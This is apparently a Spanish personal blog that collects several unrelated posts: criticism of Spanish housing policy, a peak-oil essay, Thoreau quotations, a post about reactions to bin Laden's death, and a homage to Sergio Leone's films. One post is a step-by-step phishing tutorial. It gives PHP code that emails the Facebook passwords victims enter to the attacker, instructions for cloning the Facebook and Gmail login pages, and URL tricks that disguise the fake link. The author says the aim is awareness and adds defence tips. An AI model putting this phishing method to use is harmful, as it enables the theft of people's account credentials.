Como adelantaba antes, todos estos artículos no eran opiniones individuales de destacados miembros de la cúpula socialista, sino que estaba incluido claramente en el programa electoral con el que concurrían a las elecciones de 2004; aunque como todo el mundo sabe los programas electorales en este país son para limpiarse el culo, siendo un más que claro caso del prometer hasta meter, y una vez metido olvidar lo prometido.

El fracaso de la política de vivienda y suelo del PP es evidente: a pesar de la elevadísima oferta de viviendas nuevas durante el periodo 1998-2003, en dicho periodo el precio de la vivienda se ha incrementado cinco veces más que los salarios, dificultando, de forma creciente, el acceso a la vivienda de los jóvenes y de las familias de menores ingresos, y provocando un rápido aumento del endeudamiento de los españoles.

El acceso a una vivienda digna, a precio asequible, en una ciudad más habitable y en un territorio más equilibrado, es un derecho consagrado en la Constitución. El principal objetivo del PSOE es, en colaboración con las CCAA y los Ayuntamientos, hacer efectivo ese derecho, mediante una

política permanente de vivienda y suelo, superando todo enfoque coyuntural, de forma que ningún español tenga que comprometer más del 30% de su renta para disfrutar de una vivienda digna (nueva o usada, en propiedad o en alquiler), y ubicada en un entorno habitable que permita la adecuada satisfacción de sus necesidades básicas.

El PSOE se compromete a luchar contra la especulación, favoreciendo la corresponsabilización de los ciudadanos, reforzando el control público del urbanismo y la penalización de la corrupción, modificando las normas que favorecen la especulación, y fomentando la vivienda protegida y el control sobre la misma.

En VPO prometían la construcción de 180 000 al año, pero sólo llegaron a las 95 000 en su mejor año (2007); sabiendo que en 2003 fueron 70 000 tampoco es un incremento tan grande. No es un incremento en absoluto cuando se compara con el aumento de construcción de vivienda y se ve que ambas cifras aumentan en el mismo porcentaje (en 2003 son 620mil pisos en total y en 2006 760mil). Tras mucho rato buscando tablas con estas cifras por la red, al final  las he encontrado perfectamente detalladas en el INE, bendita página. Se corresponden obviamente a la vivienda iniciada, que es la relevante a la hora de valorar las iniciativas gubernamentales.

Aparte de la VPO hay muchas otras medidas que se podían aplicar para paliar la especulación como fomentar el alquiler; de hecho, en el programa electoral afirmaban textualmente «Pretendemos elevar el porcentaje de viviendas en alquiler del 11% actual al 20% del total del parque existente». A día de hoy, según la Encuesta de Calidad de Vida publicada por el INE hace dos semanas, hay un 11,8% de personas viviendo en régimen de alquiler en nuestro país.

Para este fomento del alquiler podrían haber eliminado la deducción por compra de vivienda ya en 2004 y no haber esperado a 2010; también tuvimos que esperar al 1 de enero de 2008 para ver una ayuda en el alquiler a menores de 35 años en lugar de haberla aprobado al momento de llegar al poder. Lo tenían claro a la hora de escribir el programa, pero no a la hora de ejecutarlo.

Otras medidas también prometidas para frenar la especulación y fomentar el alquiler pero que tampoco se llevaron a cabo fue el aumentó los impuestos sobre las viviendas deshabitadas o a las segundas viviendas.

En toda esta sucesión de promesas incumplidas, posibles soluciones no aplicadas y completo inmovilismo ante la impasible escalada de precios, el Ministerio de Vivienda, creado para colocar a más amigotes a chupar del bote paliar el problema reconocido del acceso a la vivienda, tuvo las dos ideas definitivas, ambas paradigmas claros del hacer político español; dos iniciativas que, como digo, resumen brillantemente todos los intentos anteriores y posteriores de encontrar una solución.

Primero, en abril de 2005 llegaron a la conclusión de que si una vivienda digna era muy cara, lo mejor era encerrar a la gente en zulos de 30 metros cuadrados llamados «soluciones habitacionales». Como nos tienen acostumbrados los políticos españoles, una medida únicamente enfocada a camuflar las estadísticas; «servirán para moderar el precio de la vivienda» dijo la ministra Trujillo. Obviamente si pasamos de comprar pisos de 60 ó 90m², a otros de 30m², el precio de la vivienda tiene que bajar por huevos, pero nadie habla del precio por metro o de la calidad de la misma.

La segunda iniciativa me sigue apasionando todavía hoy, cinco años más tarde. Me tiene cautivado pese a que la mayoría de la gente a la que se la menciono no se acuerda en absoluto. Aunque fuera en conjunción con el Ministerio de Vivienda, el verdadero terrorista ideológico de tan magna obra es el mismo Consejo de la Juventud que ya en enero de 2005 nos deleitó con el Referendum Plus, una inigualable campaña para animar a los jóvenes a votar la Constitución Europea (y que tampoco recuerdan muchos).

La imagen que este Consejo tiene de la juventud la describe acertadamente Ignacio Escolar —en una de esas raras ocasiones en las que puedes estar de acuerdo con él sin necesidad de estar afiliado PSOE— «esa gente rara que se pone piercings, bebe kalimotxo y repite “mola” cada dos frases»; no me extrañaría que los miembros del CJE ya fuesen viejos cuando se fundó este organismo en 1983. Tampoco me sorprendería que fuesen los mismos que han perpetrado la bebida energética de Rajoy consistente en zumo de manzana. Y si no son culpables del rap Yo pongo condón, poco les faltará porque sigue las mismas técnicas carcas de acercarse a la juventud (y que a la postre tuvieron problemas legales por plagiar la canción). Espero, para los amantes de lo cutre y bizarro como yo, que encarguen nuevas campañas al CJE; al principio te cabreas de que se gaste dinero público en semejantes despropósitos, pero cuando vuelves a verlo al cabo de los años no puedes sino reirte a gusto y hasta los recuerdas con nostalgia.

Bien, esta otra iniciativa de la que hablaba, el segundo y último intento del Gobierno por solucionar el problema de la vivienda fue el Keli Finder, una especie de buscador de pisos presentado como unas alpargatas, dando a entender que si alguien quería encontrar una vivienda a un precio que no le hipotecase de por vida iba a tener que gastar suela. No era broma, encontrar una vivienda en aquella época sin precios que te arruinaran para siempre hubiera requerido andar hasta cruzar la frontera.

No sé cómo de buena sería la información que otorgaba este buscador, pero debido al envoltorio en el que fue presentado nació muerto: nadie se lo tomó en serio. Y eso que no me cabe ninguna duda de que se invirtió muchísimo más en la campaña de marketing que en el proyecto en sí, creando hasta una cuña de gomaespuma, politonos para el móvil y 10 mil pares de zapatillas. Y tiene delito que, además de gastarse más en la forma que en el contenido, precisamente el envoltorio sea lo que mate el producto antes de conocerlo.

En resumidas cuentas, todo lo que este gobierno fue capaz de hacer para solucionar el problema de la vivienda cuando estuvo en su mano fue legalizar las casas de 30m² y animar a los jóvenes a patearse las calles.

No contentos con no haber hecho nada, todavía el 24 de abril de 2007 tuvieron la desvergüenza de afirmar lo siguiente:

El Gobierno ha negado rotundamente que la Bolsa española se encuentre en una situación “que pueda ser catalogada de desplome” y afirma que en ningún caso se puede hablar de que se “desinfle ninguna burbuja inmobiliaria”.

Ya de por sí, el uso de la expresión «ninguna burbuja inmobiliaria» implica la negación de la misma; que manda muchos cojones a estas alturas de la película. Si, además, aprovechamos para echar un vistazo a la Bolsa, veremos que ese día no era sino el inicio de una larga caída desde los 14 913,30 puntos de entonces (seis meses después con 13 965,50 Zapatero haría unas todavía más vergonzosas declaraciones) que se prolongaría hasta el 9 de marzo de 2009 con 6817,40 puntos. Una “correción” o “desajuste”, como lo denominaba entonces el PSOE, del 55%, casi nada oiga. Hoy hemos cerrado en los 8596,40.

Por supuesto hace unas semanas, a toro pasado y en vista de la campaña electoral, Rubalcaba entonó un exiguo mea culpa: «Teníamos que haber pinchado decididamente la burbuja inmobiliaria, y lo hicimos tímidamente, y eso ha pesado sobre nuestra economía». Pero ahí quedó todo. Sí, es muy bonito reconocerlo públicamente, de cara a la galería, pero como es costumbre en este país nadie asume responsabilidades. Si cuando estaba claro cuál era el problema y existían distintas alternativas de atenuarlo, como reconocen en sus artículos y su programa electoral, no hicieron nada ¿cómo esperan que nadie deposite su confianza en ellos nunca más?

Lo sabían, y callaron como putas sin hacer nada salvo engordar sus propios bolsillos.

Y ojo, que terminará indefectiblemente pasando por aquí algún ciber-pepiño o fanboys socialistas a insultar, porque ése es su único argumento, y a llamarme pepero por exponer la realidad que adolece este país; para los ciegos votantes del PPSOE el que no está con ellos pertenece al otro ala del partido. Pero antes quiero recordar —aunque ninguno de ellos vaya a llegar a leer hasta aquí— que en ningún caso la alternativa es el Partido Popular, pues su solución a la crisis a la que hemos llegado apilando tochos es… más ladrillo. La política que seguirá el PP no es en ningún caso distinta de la que ha seguido el PSOE, pues son un único partido (PPSOE) interpretando un fingido odio al servicio del FMI. La campaña “¡que viene la derecha!” que lleva jugando el PSOE durante 30 años ya no tiene sentido (ni tenía entonces, pero era más dismulado) cuando la derecha ya está bobernando.

(La idea de esta entrada salió al ver varios artículos publicados por foreros de burbuja.info en respuesta a un tema que inicié en ese foro sobre el conocimiento de Rato en 2004 de que iba a venir una dura crisis económica, a los cuales agradezco su participación. Si quieres entender de verdad la situación financiera y política internacional, te recomiendo visitar este foro, donde he leído algunos de los análisis y críticas más lucidos de internet).

Es un hecho que este pico existe (la cuarta parte del artículo de la wikipedia son fuentes), y lo que se debate en la actualidad es cuándo va a llegar. Los estudios más optimistas hablan de un lustro, los más agoreros afirman que fue hace un lustro, y muchos piensan que hemos alcanzado el pico el año pasado.

Antes que nada, esto no es una idea de un par de perroflautas ni una teoría de la conspiración ni nada, es algo real, documentado y aceptado por todos. En este enlace podrás ver menciones internacionales al respecto, reuniones de ministros, conferencias, etc. En este otro, parecido a nivel Español: menciones en el parlamento, estudios encargados la administración y cantidad de documentos oficiales de distintos Ministerios y ayuntamientos, Comunidades Autónomas… Incluso el Ministerio de Defensa ha hecho estudios sobre la importancia capital que el petróleo tendrá en unos pocos años, y si los militares andan preocupados con esto es que no es tema baladí.

Si no has oído hablar antes es porque no interesa darle publicidad. Las malas noticias restan votos y la realidad no interesa de cara a las siguientes elecciones (un ejemplo reciente: el PSOE ganó las de 2008 negando una crisis económica que era más que evidente, en lugar de hacer frente a la situación y tomar las medidas adecuadas para suavizar el golpe), y preparar al mundo para el final del petróleo es una tarea ardua que no puede realizarse en cuatro años. En el mundo ya no quedan estadistas, que gobiernan pensando en las próximas generaciones, sino políticos, para los cuales un problema aplazado es un problema resuelto¹. Así que mientras no les toque a ellos o no exista suficiente presión popular para actuar, seguirán pasando la patata caliente hasta que le reviente a otro en las manos. Y lo jodido es que, cuando reviente no sólo se llevará al político de turno, sino a todos nosotros.

Casi todo el mundo cuando oye hablar sobre el fin del petróleo piensa que con ir al trabajo en bicicleta estaremos tan contentos, pero no se trata de eso, los turismos son en lo que menos petróleo se gasta en el mundo. Toda nuestra sociedad está basada en el petróleo.

La amplia mayoría de los plásticos están realizados con petróleo (el PVC, por ejemplo): mira a tu alrededor a ver qué no tiene plástico, el aislante de los cables por los que circula la electricidad es de plástico, carcasas de casi cualquier aparato, envases para alimentos y bebidas, prótesis, juguetes…

No sólo eso. El petróleo representa de media el 33% de la energía primaria consumida en el mundo (varía según el país) y con él también se fabrican fertilizantes, detergentes, neumáticos, aceites lubricantes para engrasado de maquinaria, colorantes y antioxidantes sintéticos, asfaltos para pavimentos, el butano de la clásica bombona naranja, pinturas, vaselina para pomadas y otros cosméticos, papel (se le añaden polipropilenos para conseguir determinadas características), combustibles para aviones, barcos, camiones y maquinaria pesada como tractores o grúas… la lista es interminable.

Y ojo, que los medios de transporte no son tema baladí. En un mundo tan globalizado como el que vivimos necesitamos importar muchísimo, tanto manufacturas, como materias primas, como alimentos (para cuya cosecha se requiere petróleo para tractores y fertilizantes). Llegará un punto en el que traer todos esos productos será inviable económicamente y nos quedaremos sin ellos. Y tampoco podremos exportar nuestro exceso de producción (aparte de los problemas de abastecimiento, el petróleo tiene un impacto directo en el crecimiento económico).

Es muy interesante echar un vistazo a los datos del INE sobre mercancías exportadas e importadas en España, con información desde 1994 y clasificada en 99 categorías. Obserrvando los datos de 2009, somos grandes exportadores de fruta, legumbres, manufacturas de piedra (cemento), y armas. Pero tenemos un inmenso vacío que rellenar con importaciones, por ejemplo (y ahora tomo datos de 2005 para comparar con nuestra producción, de la que no tengo datos más recientes): importamos 13 millones de toneladas de cereales y cosechamos exactamente la misma cantidad, es decir, que dependemos del exterior para cubrir la mitad de la demanda de cereales. Importamos unas 130 millones de toneladas de combustibles, frente a las 20 millones de toneladas que produjimos. También importamos 1450 millones de toneladas de materias textiles y sus manufacturas (3100 millones de toneladas en 2009) con una exportación constante de 800 millones, con lo que no creo que haya aumentado nuestra producción (comparo con exportaciones al no tener datos de producción de textiles). Se puede perder un rato curioseando en la página de exportaciones e importaciones del INE. Muy útil comparando las exportaciones con la cantidad que producimos (cosechamos/extraemos) de cada producto en España, aunque los datos terminen en 2005.

Ahora mismo hay mucha publicidad sobre el coche eléctrico… ¿Pero a que no habéis oído hablar del camión eléctrico, o del tractor eléctrico? La potencia y autonomía que se consigue con el motor eléctrico es todavía irrisoria, imposible para nada más grande que un turismo (por eso los prototipos que se ven son biplazas ultraligeros). Pero no sólo eso, sino que el litio que hay en todo el mundo se estima que no daría ni para el 15% del parque automovilístico del mundo (cálculos ampliados). Por todo ello y más razones, problemas con la generación de electricidad, falta de infraestructuras (eléctricas para la carga de coches y porque las carreteras se hacen con petróleo) hay varios motivos para afirmar que el coche eléctrico no llegará nunca a producirse comercialmente a gran escala.

Y no sólo eso, también la generación de electricidad depende del petróleo. Las centrales térmicas, que producen el 50% de la electricidad que se consume en España, están alimentadas por petróleo, carbón y gas natural (y similar porcentaje a nivel mundal). De estos tres combustibles, el carbón ya ha tenido su pico, y el gas lo tendrá antes de diez años. Los biocombustibles tampoco son una alternativa para generar electricidad ni para mover vehículos, no sólo por su pobre aporte energético (se utiliza casi tanto petróleo entre fertilizantes, tractores y transporte como el que se obtiene), sino porque roban grandes extensiones de terreno que deberían utilizarse para alimentos, habiendo causado ya alguna crisis alimentaria por el incremento de precios.

La energía nuclear (que en España supone el 20% de la generación de electricidad) no sólo se enfrenta a las mismas preguntas anteriores, sino que se estima que el pico del uranio está también muy cercano. Además, en 2008 se consumieron en el mundo el equivalente a 65.000 toneladas de uranio natural: las minas de uranio sólo proporcionaron unas 44.000 toneladas de ese uranio, mientras que las 21.000 toneladas restantes fueron extraídas de las llamadas reservas secundarias. Estas reservas secundarias se estiman en unas 500.000 toneladas el de las reservas militares (principalmente EEUU y Rusia en forma de cabezas nucleares) y en unas 50.000 toneladas en las reservas civiles, las cuales se estima que al ritmo actual se agotarán en 3-4 años. Si USA y Rusia no reciclan parte de sus misiles y los venden en el mercado libre, habrá una escasez del 30% del uranio, con lo que la tercera parte de las centrales del mundo deberían parar. Y aunque reciclasen todo, daría para 10-20 años al ritmo de consumo actual. Con un futuro tan negro resulta estúpido apostar fuerte por esta energía.

Para solucionar la la falta de electricidad, podremos instalar más renovables… pero dejando de lado el problema de la eficiencia ¿cómo se construyen las presas, paneles solares, molinos o fábricas? ¿cómo se desplazan hasta donde se coloquen? ¿cómo se llevan a reparar? ¿cómo se extraen las materías primas para fabricarlos? ¿cómo se transportan y tratan los deshechos? Todas las respuestas necesitan el petróleo. Y principalmente, este último problema de desplazamiento y extracción es común al resto de materiales que nos rodean. No se puede esperar al último momento para incrementar su uso, porque llegaremos a un abismo de energía: la ya de por sí poca energía que conseguiremos tendremos que utilizarla para conseguir más energía, entrando en un bucle sin fin.

El principal problema que hay que comprender sobre el peak oil, es este último punto, el rápido declive de la energía neta. La oferta de petróleo no va a ir disminuyendo lentamente, mientras los precios se van encareciendo poco a poco durante muchos años. No. Por supuesto que no ocurrirá de la noche a la mañana, pero la caída será mucho más rápida de lo que fue la subida. Entre otras cosas, porque el consumo energético del globo aumenta sin parar, juntándose el hambre con las ganas de comer. Y, porque cuanto menos petróleo queda, más coste tiene extraerlo, volviendo al abismo antes mencionado. Además, una vez estemos al lado derecho de la curva de Hubbert pueden pasar muchas cosas (como revueltas de hambrientos, cómo las ya ocurridas a principios de 2011, en países exportadores de petróleo que afecten a la producción).

Hay que tener el claro el concepto de Tasa de retorno Energético (EROEI), que permite analizar una fuente de energía comparando cuánta enegía ofrece a cambio de la que necesitamos para aprovecharla. Un EROEI de 30:1 significa que por cada unidad energética que empleo en procesar una materia, me devuelve 30 unidades energéticas. La siguiente imagen, del informe Searching for a miracle de Richard Heinberg habla por sí sola, pero destacaré el petróleo: En los años 30 el EROEI era de 100:1, en los años 70 de 30:1 y ahora está por debajo del 20:1. Diversos estudios aseguran que para que una sociedad industrial moderna como la nuestra funcione, el EROEI de las energías utilizadas ha de ser, como mínimo, entre 5:1 y 10:1.

Llevo varios días absorto con la lectura del blog The Oil Crash, en el que gracias Antonio Turiel he ido descubriendo con cada artículo suyo la realidad sobre un problema tan grave como éste y del cuál se da tan poca información al público. De verdad creo que es algo que merece la pena entender y analizar, porque no se va arreglar solo, la solución es cosa de todos y no va a haber un político que mueva un solo dedo si no estamos todos implicados: ser optimista es una irresponsabilidad. Y el primer paso es darlo aconocer a cuanta más gente mejor, por eso he escrito este post algutinando las entradas más reveladoras de The Oil Crash (que es una de las pocas fuentes de calidad en español). Cada párrafo intenta extraer las ideas fundamentales de los enlaces que incluye, así que recomiendo seguirlos para ampliar información en las cosas que no se vean claras.

Fuentes y otros links de interés (obligada lectura de los dos primeros):

• Prontuario sobre el Oil Crash
• The Oil Crash: La urgente necesidad de cobrar conciencia, presentación de Antonio Turiel
• Consumo y recursos energéticos a nivel mundial, Wikipedia
• Los límites del crecimiento, informe del MIT publicado en 1972
• Red Electrica de España (demanda, producción detallada…)
• Boletines anuales de la Corporación de Reservas Estratégicas de Productos Petrolíferos de España
• Países del mundo por consumo de petróleo, Wikipedia
• Consumo del petróleo en el mundo (1980-2006)
• La gran escasez, The Oil Crash blog
• Lo factible y lo rentable, The Oil Crash blog
• El EROEI de una sociedad completamente eléctrica, The Oil Crash blog
• Nuestra relación con la tecnología, The Oil Crash blog

1- Frase combinada por mí a partir de una aparecida en el artículo Intrusos en el comedor de Reverte y una cita de Freeman Clarke.

En 1846, Thoreau se negó a pagar impuestos debido a su oposición a la guerra contra México y a la esclavitud en Estados Unidos, por lo que fue encarcelado. De este hecho nace su tratado La desobediencia civil, pionero al proponer algunas ideas como el pacifismo y la no violencia que resurgirían con fuerza en el altermundismo del siglo XX. En este texto se declara uno de los conceptos principales de su ideología: la idea de que el gobierno no debe tener más poder que el que los ciudadanos estén dispuestos a concederle, llegando a tal punto que propone la abolición de todo gobierno. Considerado por algunos como el primer ecologista, su ensayo fue influyente en Lev Tolstói y en Mahatma Gandhi.

—Wikipedia – Henry David Thoroeau

«Pero, para hablar en forma práctica y como ciudadano,  a diferencia de aquellos que se llaman “antigobiernistas”, yo pido, no como “antigobiernista” sino como ciudadano, y de inmediato, un mejor gobierno. Permítasele a cada individuo dar a conocer el tipo de gobierno que lo impulsaría a respetarlo y eso ya sería un paso ganado para obtener ese respeto.  Después de todo, la razón práctica por la cual, una vez que el poder está en manos del pueblo, se le permite a una mayoría, y por un período largo de tiempo, regir, no es porque esa mayoría esté tal vez en lo correcto, ni porque le parezca justo a la minoría, sino porque físicamente son los más fuertes. Pero un gobierno en el que la mayoría rige en todos los casos no se puede basar en la justicia, aún en cuanto ésta es entendida por los hombres. ¿No puede haber un gobierno en el que las mayorías no decidan de manera virtual lo correcto y lo incorrecto – sino a conciencia?,  ¿en el que las mayorías decidan sólo los problemas para los cuales la regulación de la conveniencia sea aplicable? ¿Tiene el ciudadano en algún momento, o en últimas, que entregarle su conciencia al legislador? ¿Para qué entonces la conciencia individual? Creo que antes que súbditos tenemos que ser hombres. No es deseable cultivar respeto por la ley más de por lo que es correcto. La única obligación a la que tengo derecho de asumir es a la de hacer siempre lo que creo correcto.»

—Desobediencia Civil – H. D. Thoreau

Recomiendo leer, reflexionar, compartir, divulgar, imprimir y llevar octavillas a las asambleas y acampadas de #DemocraciaRealYa y #spanishrevolution con los textos de Thoreau.

Un par de enlaces a su obra.

• Todos los trabajos de Thoreau (inglés).
• Ensayos más famosos en español.
• Pese a lo paupérrimo de la wikipedia española, la inglesa es más amplia ya que su influencia en pensadores, activistas, políticos y movimientos del siglo XX es pasmosa.

Aunque mucha gente pueda saber lo que es el phishing, no se le da una importancia real porque todos pensamos que es mucho más complicado; sin embargo quiero demostrar aquí lo sencillísimo que es empezar a pescar datos, para concienciaros de que hay que tener un poco más de cuidado al introducir nuestras contraseñas en los links que seguimos. Lo he probado con éxito con algunos de mis amigos. Si no te interesan los detalles técnicos, sáltatelos y aprende a defenderte.

Primero – Enviar email con PHP

Supongamos que queremos recibir los datos que introduce el usuario por email. También se podrían ir almacenando en un fichero en nuestro servidor y luego consultarlo, pero para este caso me preferí utilizar el email. En PHP es sencillísimo, y en esta página explican todo. Con un fichero de seis líneas es suficiente, el primer ejemplo de todos.

Pero nosotros no queremos enviar siempre el mismo mensaje, queremos el usuario y contraseña, que en la página de login de facebook se envían como parámetros mediante POST bajo las variables email y pass. Así que escribimos:

$message = “Otro pardillo pone sus datos!:\n\n”. $_POST["email"] . ” – ” . $_POST["pass"];

En lugar de escribir en la misma página si el email fue enviado con éxito, lo que hacemos es redirigir a facebook.com (el usuario normalmente está ya logueado, por lo que no se dará cuenta de nada), por lo que escribimos al final del archivo:

header(“Location: http://www.facebook.com/”);

Completado. Luego podemos mejorarlo todo lo que queramos. Por ejemplo, mi fichero acepta un parámetro “newurl” que permite redirigir a cualquier otra web. Además, si el campo “pass” llega vacío, vuelve a la página anterior.

Finalmente, tenemos un fichero como este (haz clic para ver en tu navegador), listo para recibir los datos.

Segundo – Modificar login de Facebook

Ahora vamos al link de cualquier página de facebook sin estar logueados y nos saldrá la ventana de login y la guardamos como cualquier otra página.

Lo único que tenemos que hacer aquí, es buscar el formulario y cambiar la dirección a la que lo envía facebok, por la de nuestro fichero que envía emails, en mi caso action=”email.php”.

Y ya está. Ahora, subimos todo a un servidor, y cualquiera que acceda a nuestra página, verá una perfecta copia del login de Facebook, pero que nos enviará toda la información a nuestro email.

Tercero – Mejoras al login

Todo lo siguiente es un extra, con lo hecho hasta ahora ya es perfectamente funcional.

Por supuesto la página de login también puede mejorarse. Por ejemplo, personalizarla para cada víctima, haciendo que aparezca por defecto su email en la caja de texto. Esta información podemos pasarla con parámetros al enviarle nuestra dirección, de la forma:

http://loginfalso.php?name=fulanito&domain=gmail.com

Buscamos el input con id=email y añadimos la siguiente línea.

value=”<?php if($_GET["name"]){echo ($_GET["name"].”@”.$_GET["domain"]);}?>”

También, puesto que el fichero email.php acepta un parámetro para cambiar la redirección, podemos configurarlo desde aquí, “http://loginfalso.php?name=fulanito&domain=gmail.com&newurl=www.otrapagina.com”

cambiando el “action” del formulario por:

action=”<?php echo “email.php?newurl=”.$_GET["newurl"]?>”

Desde luego, todo esto es muy descarado, así que se puede ofuscar añadiendo parámetros sin sentido, para hacer más larga la dirección. De hecho, el email se especifica en dos parámetros precisamente para esto. Se pueden poner todos los que se quieran y en cualquier orden.

Tampoco se va a fiar mucho alguien a quién le pases por chat un enlace a tu propio dominio, como tiendadeultramarinos.es, y cuando le salga el login de facebook le parecerá raro. Por eso, cuando alguien se toma en serio este tema, compra dominios con nombres parecidos al original. Por ejemplo, facebok, fecebook, facebooc, feisbuk.es… de modo que cuando entras al link no te fijas de que realmente es otra página.

Pero si alguna vez habéis copiado un vínculo desde Facebook, veréis que los envía a través de una página que redirige al vínculo. Algo como lo siguiente, envía a mi blog, pero cuando lo ves, parece que sea interno de Facebook.

https://www.facebook.com/l.php?u=http%3A%2F%2FDIRECCION&h=b70fc

https://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tiendadeultramarinos.es&h=b70fc

Claro que, una vez accedido al link, la parte inicial de www.facebook.com desaparece: pero muchas veces el usuario no se fijará una vez esté dentro de la web, sólo en el momento de clicar el enlace.

Una última mejora sería bajarnos las páginas de login de distintos idiomas y modificarlas al gusto. Para gestionar todas sencillamente con la misma dirección, he creado un pequeño fichero PHP que redirige a las páginas de login de cada idioma en función de un parámetro lang. Más info y ejemplos de direcciones ofuscadas, en el fichero de redirección.

Cuarto – Lo mismo en Gmail

No os penséis que Google lo pone más difícil. He seguido el mismo proceso con idénticos resultados. Aquí la página falsa. Como no tenemos el truco de facebook de poner la dirección primero, tenemos que recurrir a otro modo para dar la sensación al ver el link de que es la página real de gmail. Esto lo explican muy bien en la wikipedia, y se hace sencillamente poniendo la dirección destino detrás de la arroba, así:

http://www.gmail.com@direccionfalsa

Finalmente – ¿Cómo me defiendo?

Como habéis visto es tremendamente sencillo hacer una página falsa para robar vuestras cuentas de acceso a cualquier servicio. Generalmente nadie se va a molestar en robaros la cuenta del Facebook, el objetivo real detrás del phishing es tener acceso a las cuentas de los bancos, así que es con lo que más cuidado hay que tener.

El principal consejo es, siempre, escribir vosotros mismos la dirección de la página en la que queréis loguearos. Nunca lo hagáis siguiendo vínculos. Primero iniciad sesión en una pestaña aparte, y luego volved al email y seguid el enlace que os han pasado, y si no es trampa no os pedirá que volváis a iniciar sesión.

La banca electrónica es segura, simplemente hay que ser cuidadoso a la hora de meter nuestros datos. Del mismo modo que no enviríais vuestra tarjeta de crédito con vuestro PIN en un sobre a una dirección desconocida, ni daríais vuestros datos a cualquiera que se presentase en casa o llamase por teléfono. En internet hay que seguir, exactamente, las mismas precauciones que en la vida real: sentido común.

El objetivo de la explicación en este post de cómo hacer la página es doble. Primero, llamar vuestra atención sobre el problema destacando la facilidad de crearlas. Segundo, entendiendo cómo puede atacaros vuestro “enemigo” tenéis más posibilidades de comprender cómo defenderos.

Para terminar, os dejo un par de guías en español para protegerse del phishing, más completas que las pinceladas que he dado yo: Vulneravility Team e  Internautas.

No es el humor negro en sí lo que me llama la atención; soy un firme defensor del mismo en cualquier momento y lo uso a espuertas. Podría escribir una enciclopedia de chistes negros y me he estado descojonando con algunos twits de @GhostObama (otros están demasiado manidos).

Lo que me fascina es cómo está saliendo de todas partes. Un pensamiento generalizado del “todo vale” se ha extendido entre la población: gente que normalmente hubiera criticado cualquier chiste suave de paralíticos está publicando las sandeces más sórdidas.

Entendería hasta cierto punto esta excitación en la sociedad americana: la merecida venganza contra quién asesinó a casi 3000 compatriotas, el éxito final tras diez años de guerra, el cazador cazado, Obama dando el discurso de la victoria*, fundido a la bandera, God Bless America sonando y entran los créditos… ¿Pero en qué nos afecta al resto? Sí, medio mundo fue a Oriente Medio de la mano de USA o de la ONU, pero no era nuestra guerra ni nuestro terrorista (aunque hubiera matado a nuestros hermanos blancos); no para esta exaltación.

No lo critico, este tipo de reacciones suelen provocar un torrente de creatividad que no se ve todos los días y dará lugar a montajes y coñas que nos harán reir durante mucho tiempo; pero está funcionando de un modo distinto a otras ocasiones. Y está eclipsando todo lo demás.

Sin entrar en la chapucera comunicación de la operación sin pruebas que lo único que ha hecho es dar pábulo a todas las conspiranoías que ya se sabía que iban a salir o la difusión, como real, por todos los medios de un fotomontaje de hace dos años, que más de lo mismo. Tengo la triste sensación de que mientras de Vietnam todos recordamos a la niña huyendo del napalm, de estos diez años de guerra en Oriente Medio todo lo que recordaremos será que Bin Laden está con Bob Esponja, que lo llevaba Sergio Ramos, o que fue el campeón mundial del escondite.

---

* Quien diga que el discurso no es de película, miente.

«Buenas noches. Hoy puedo anunciar al pueblo americano y al mundo que US ha llevado a cabo una operación que ha matado a Osama Bin Laden, el lider de Al-Qaeda. Un terrorista responsable del asesinato de miles de hombres, mujeres y niños.

Fue hace casi 10 años, cuando un brillante día de septiembre fue ensombrecido por el peor ataque al pueblo americano en nuestra historia. Las imágenes del 9/11 están grabadas en nuestra memoria nacional, aviones secuestrados atravesando un cielo sin nubes de septiembre, las torres gemelas colapsando contra el suelo, humo negro saliendo del Pentágono. [...]

Y ahora sabemos que las peores imágenes son las que no se vieron en el mundo… el asiento vacío en la mesa de la cena, niños obligados a crecer sin sus madres o sus padres, padres que nunca sentirán el abrazo de sus hijos. Nos quitaron a cerca de 3000 ciudadanos, dejando un profundo hueco en nuestros corazones.»

Hay que reconocer que este tipo de personaje lo había llevado antes a la gran pantalla Akira Kurosawa con Yojimbo, que a su vez se inspiró en la novela Red Harvest (Cosecha Roja) de Dashiell Hammett. En realidad, más que tomar el personaje, el guión de Por un puñado de dólares (1964) simplemente traslada la acción de Yojimbo (1961) de Japón al lejano Oeste. Las situaciones, diálogos y escenas (como salvando a la chica, prepara tres ataúdes —creo que este video ya no funciona por copyright—) están completamente calcados en el film de Leone, motivo por el cual tuvo problemas legales para estrenar la película, ya que no daba crédito a la obra de Kurosawa. Encontré un genial análisis en el que explican esquemáticamente las relaciones entre ambas películas y El último hombre (Last Man Standing) de 1996 con Bruce Willis, que es un remake de Yojimbo situando la acción en la actualidad y que pasó sin pena ni gloria. Pero mientras Leone supo sacar partido al hombre sin nombre, creando dos secuelas de merecida fama (una de ellas uno de los más épicos westerns), Kurosawa no consiguió el mismo éxito con su secuela Sanjuro.

Al hablar de los clásicos de Leone, por supuesto, también me estaba refiriendo a la monumental Once upon a time in the west (1968), traducida al español en un alarde de originalidad e inspiración como Hasta que llegó su hora, obra maestra del western a pesar de cargarse todos los clichés del género; como hacer que Henry Fonda, con su impecable historial de El Bueno de las películas, interpretase a un sanguinario asesino carente de moral. El film contiene una cantidad asombrosa de referencias a otras películas del género, trastocando casi siempre el sentido original. Cuenta Leone que cuando llegó a América estaba cansado del western y quería grabar una película de gangsters, pero no sólo no había productores interesados entonces, sino que casi le obligaron a grabar una de vaqueros. Un buen artículo sobre Once Upon a Time in the West (en inglés).

Una característica muy notable en todas estas películas es que la banda sonora, a cargo del inigualable Ennio Morricone, se componía —con la colaboración del propio Leone— y grababa antes de iniciar el rodaje con la intención de utilizarla de fondo mientras los actores hacían su papel, gracias a lo cual se logra esa sincronicidad tan perfecta que hace que película y música se conciban como un todo inseparable.

Así, sin más dilación, pongo como homenaje los duelos más característicos de las películas que rodó Sergio Leone.

A fistful of dollars (1964) — Por un puñado de dólares.
En este caso la música suena mientras Eastwood entra en escena, y el duelo propiamente dicho ocurre a continuación, por lo que no aparece en este video. Así que como extra, dejo la escena de “A mi caballo no le gusta que bromeen“.

For a few dollars more (1965) — La muerte tenía un precio
El duelo final de la película, precedido por la interminable melodía del reloj de bolsillo de El Indio y de El Coronel. El video del duelo hay que verlo directamente en la página de Youtube, así que en su lugar cuelgo a una orquesta interpretando el tema con el video de fondo.

The Good, the Bad and the Ugly ( 1966) — El Bueno, el Feo y el Malo.
Monumental. Puedo ver (o escuchar) esta escena cientos de veces sin cansarme. Además está en alta calidad.

Once upon a time in the west (1968) — Hasta que llegó su hora.
